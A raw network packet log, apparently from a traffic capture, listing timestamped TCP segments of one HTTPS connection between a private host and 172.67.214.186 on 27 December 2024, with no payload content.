Dec 27, 2024 10:21:59.673269987 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.673279047 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.673289061 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.673307896 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.679212093 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.679227114 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.679282904 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.679291010 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.679330111 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.684418917 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.684433937 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.684493065 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.684506893 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.684529066 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.684546947 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.690495014 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.690510988 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.690567970 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.690577984 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.690607071 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.690628052 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.851902962 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.851917028 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.851995945 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.852009058 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.854437113 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.857259989 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.857275009 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.857333899 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.857341051 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.858181000 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.863199949 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.863214970 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.863266945 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.863275051 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.865427017 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.869062901 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.869079113 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.869142056 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.869148970 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.870488882 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.874634981 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.874650955 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.874721050 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.874730110 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.878429890 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.880681992 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.880697012 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.880765915 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.880776882 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.882185936 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.885920048 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.885936022 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.886008978 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.886020899 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.886442900 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.891979933 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.891993999 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.892061949 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:21:59.892072916 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:21:59.894097090 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:00.053247929 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.053263903 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.053359032 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:00.053375959 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.054414988 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:00.059118986 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.059134007 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.059195042 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:00.059202909 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.059230089 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:00.059242964 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:00.065125942 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.065140963 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.065217972 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:00.065223932 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.066313028 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:00.070383072 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.070399046 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.070461988 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:00.070470095 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.072671890 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:00.076040030 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.076055050 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.076131105 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:00.076138973 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.076179981 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:00.082005978 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.082031012 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.082073927 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:00.082081079 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.082109928 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:00.082133055 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:00.087884903 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.087902069 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.087977886 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:00.087985992 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.090457916 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:00.093904018 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.093919039 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.093981981 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:00.093991041 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.094212055 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:00.255067110 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.255083084 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.255145073 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:00.255172968 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.257302999 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:00.261008024 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.261023998 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.261073112 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:00.261087894 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.262341022 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:00.266242027 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.266257048 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.266302109 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:00.266309977 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.266423941 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:00.272150040 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.272165060 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.272236109 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:00.272243977 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.273237944 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:00.277833939 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.277852058 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.277915001 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:00.277921915 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.278256893 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:00.283730984 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.283746958 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.283816099 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:00.283828020 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.284919977 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:00.289874077 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.289890051 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.289932966 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:00.289938927 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.290520906 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:00.295048952 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.295067072 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.295129061 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:00.295135975 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.295708895 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:00.456744909 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.456763029 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.456855059 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:00.456880093 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.458204031 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:00.462829113 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.462843895 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.462929964 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:00.462946892 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.464591026 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:00.468019962 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.468034983 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.468108892 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:00.468122959 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.470222950 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:00.472234964 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.472321987 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:00.472333908 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.472369909 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.472438097 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:00.477782011 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.477797985 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.477902889 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:00.477917910 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.478287935 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:00.483757973 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.483776093 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.483844042 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:00.483858109 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.486217022 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:00.489016056 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.489032030 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.489113092 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:00.489142895 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.490293980 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:00.495068073 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.495081902 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.495151997 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:00.495163918 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.496064901 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:00.656586885 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.656605959 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.656816006 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:00.656833887 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.656883955 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:00.661875963 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.661890984 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.661964893 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:00.661977053 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.662128925 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:00.667817116 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.667833090 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.667915106 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:00.667923927 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.670140028 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:00.673707962 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.673722982 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.673789978 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:00.673798084 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.674393892 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:00.679384947 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.679403067 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.679464102 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:00.679474115 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.682286024 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:00.685318947 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.685333967 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.685405016 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:00.685414076 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.686259985 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:00.690593004 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.690609932 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.690680027 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:00.690687895 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.694813967 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:00.696734905 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.696753025 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.696809053 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:00.696818113 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.698234081 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:00.857959032 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.857975006 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.858036041 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:00.858057976 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.858099937 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:00.864053965 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.864068985 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.864125013 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:00.864135981 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.864172935 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:00.869215965 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.869231939 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.869297981 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:00.869307995 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.869352102 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:00.875128984 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.875144958 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.875221968 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:00.875233889 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.875272989 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:00.881117105 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.881134987 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.881202936 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:00.881211996 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.881252050 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:00.886686087 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.886702061 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.886765957 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:00.886774063 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.886816025 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:00.892752886 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.892767906 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.892846107 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:00.892860889 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.892904043 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:00.897958040 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.897973061 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.898046970 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:00.898061037 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:00.898109913 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:01.059478045 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.059499979 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.059587002 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:01.059602976 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.059669971 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:01.065454006 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.065470934 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.065557957 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:01.065567017 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.065607071 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:01.070748091 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.070763111 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.070839882 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:01.070851088 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.070892096 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:01.076805115 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.076819897 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.076894999 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:01.076905966 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.076945066 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:01.082709074 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.082727909 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.082792997 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:01.082803965 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.082839966 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:01.088228941 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.088243961 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.088318110 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:01.088326931 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.088366985 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:01.094185114 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.094201088 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.094285011 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:01.094293118 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.094335079 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:01.099477053 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.099497080 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.099560976 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:01.099570036 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.099608898 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:01.260839939 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.260860920 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.261075020 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:01.261107922 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.261167049 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:01.266875029 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.266917944 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.266971111 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:01.266988039 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.267019033 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:01.267040014 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:01.272102118 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.272120953 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.272201061 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:01.272217035 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.272270918 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:01.278127909 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.278146029 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.278224945 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:01.278243065 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.278268099 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:01.278292894 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:01.279804945 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.279867887 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:01.285415888 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.285432100 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.285506964 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:01.285525084 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.285571098 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:01.291546106 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.291562080 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.291630030 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:01.291647911 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.291697979 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:01.297355890 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.297370911 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:01.297441006 CET	49745	443	192.168.2.4	172.67.214.186
